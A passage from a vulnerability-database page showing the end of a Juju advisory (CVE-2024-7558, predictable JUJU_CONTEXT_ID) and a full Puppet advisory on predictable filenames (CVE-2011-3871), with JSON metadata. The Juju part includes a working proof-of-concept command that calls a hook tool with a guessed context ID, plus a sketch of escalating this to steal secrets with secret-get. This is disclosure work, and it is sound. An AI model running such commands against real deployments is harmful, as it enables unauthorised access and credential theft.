install\nsleepy/0-install-7349430268617352851\nsleepy/0-install-2171542415131519293\nsleepy/0-install-6564961386023494624\nsleepy/0-install-59904244413115609\nsleepy/0-install-6073989428498739633\nsleepy/0-install-2504995199508561544\nsleepy/0-install-1526670560532335303\nsleepy/0-install-2568216045630615950\nsleepy/0-install-8047402353801897930\n```\n\nUnfortunately, this worked too well.\n```\nnobody@juju-5e40c0-0:/var/log/juju$ JUJU_AGENT_SOCKET_NETWORK=unix JUJU_AGENT_SOCKET_ADDRESS=@/var/lib/juju/agents/unit-sleepy-0/agent.socket JUJU_CONTEXT_ID=sleepy/0-install-7349430268617352851 /var/lib/juju/tools/unit-sleepy-0/is-leader\nTrue\n```\n\nWith a more sophisticated attack, this could discover all the units on the machine, using the update-status hook, try a few thousand attempts per second to guess the start time and the current offset in the random source, then using secret-get hook tool, get some sort of secret, such as credentials to a system.",
  "id": "GHSA-mh98-763h-m9v4",
  "modified": "2024-10-09T22:48:18Z",
  "published": "2024-10-03T16:49:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/juju/juju/security/advisories/GHSA-mh98-763h-m9v4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7558"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juju/juju/commit/ecd7e2d0e9867576b9da04871e22232f06fa0cc7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/juju/juju"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2024-3173"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "JUJU_CONTEXT_ID is a predictable authentication secret"
}

GHSA-MPMX-GM5V-Q789

Vulnerability from github – Published: 2022-05-14 00:56 – Updated: 2024-01-16 21:26
VLAI
Summary
Puppet uses predictable filenames, allowing arbitrary file overwrite
Details

Puppet 2.7.x before 2.7.5, 2.6.x before 2.6.11, and 0.25.x, when running in --edit mode, uses a predictable file name, which allows local users to run arbitrary Puppet code or trick a user into editing arbitrary files.

Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "puppet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.7.0"
            },
            {
              "fixed": "2.7.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "puppet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2011-3871"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-340"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-16T21:26:49Z",
    "nvd_published_at": "2011-10-27T20:55:00Z",
    "severity": "MODERATE"
  },
  "details": "Puppet 2.7.x before 2.7.5, 2.6.x before 2.6.11, and 0.25.x, when running in `--edit` mode, uses a predictable file name, which allows local users to run arbitrary Puppet code or trick a user into editing arbitrary files.",
  "id": "GHSA-mpmx-gm5v-q789",
  "modified": "2024-01-16T21:26:49Z",
  "published": "2022-05-14T00:56:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-3871"
    },
    {
      "type": "WEB",
      "url": "https://github.com/puppetlabs/puppet/commit/343c7bd381b63e042d437111718918f951d9b30d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/puppetlabs/puppet/commit/d76c30935460ded953792dfe49f72b8c5158e899"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/puppetlabs/puppet"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/puppet/CVE-2011-3871.yml"
    },
    {
      "type": "WEB",
      "url": "https://puppet.com/security/cve/cve-2011-3871"
    },
    {
      "type": "WEB",
      "url": "http://groups.google.com/group/puppet-announce/browse_thread/thread/91e3b46d2328a1cb"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2011-October/068053.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2011-October/068061.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2011-October/068093.html"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2011/dsa-2314"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-1223-1"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-1223-2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Puppet uses predictable filenames, allowing arbitrary file overwrite"
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.

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